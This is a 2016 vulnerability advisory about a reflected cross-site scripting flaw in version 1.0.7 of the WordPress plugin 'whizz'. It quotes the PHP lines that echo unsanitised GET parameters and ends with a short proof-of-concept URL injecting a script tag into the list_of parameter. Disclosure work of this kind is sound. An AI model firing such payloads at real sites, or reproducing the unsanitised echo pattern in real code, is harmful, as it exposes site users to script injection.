Advisory #: 109
Title: Reflected XSS in wordpress plugin whizz v1.0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/whizz
Downloads: 448
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: whizz
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./whizz/users/index.php: 153: <a href="<?php echo WHIZZ_USERS_LIST_PLUGIN_URL; ?>&action=deleteu&list_of=<?php echo $_GET['list_of']; ?>&view=<?php echo $_GET['view']; ?>&uid=<?php echo $user->data->ID; ?>">Delete</a> &nbsp; 251: <a href="<?php echo WHIZZ_USERS_LIST_PLUGIN_URL; ?>&action=deleteu&list_of=<?php echo $_GET['list_of']; ?>&view=<?php echo $_GET['view']; ?>&uid=<?php echo $user->data->ID; ?>">Delete</a> &nbsp; <?php 404: <a href="<?php echo WHIZZ_USERS_LIST_PLUGIN_URL; ?>&action=deleteu&list_of=<?php echo $_GET['list_of']; ?>&view=<?php echo $_GET['view']; ?>&uid=<?php echo $user->data->ID; ?>">Delete</a> &nbsp; 655: <a href="<?php echo WHIZZ_USERS_LIST_PLUGIN_URL; ?>&action=deleteu&list_of=<?php echo $_GET['list_of']; ?>&view=<?php echo $_GET['view']; ?>&uid=<?php echo $user->data->ID; ?>">Delete</a> &nbsp; 775: <a href="<?php echo WHIZZ_USERS_LIST_PLUGIN_URL; ?>&action=deleteu&list_of=<?php echo $_GET['list_of']; ?>&view=<?php echo $_GET['view']; ?>&uid=<?php echo $user->data->ID; ?>">Delete</a> &nbsp; The variable list_of appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./whizz/users/index.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/whizz/users/index.php?list_of="><script>alert(1);</script><"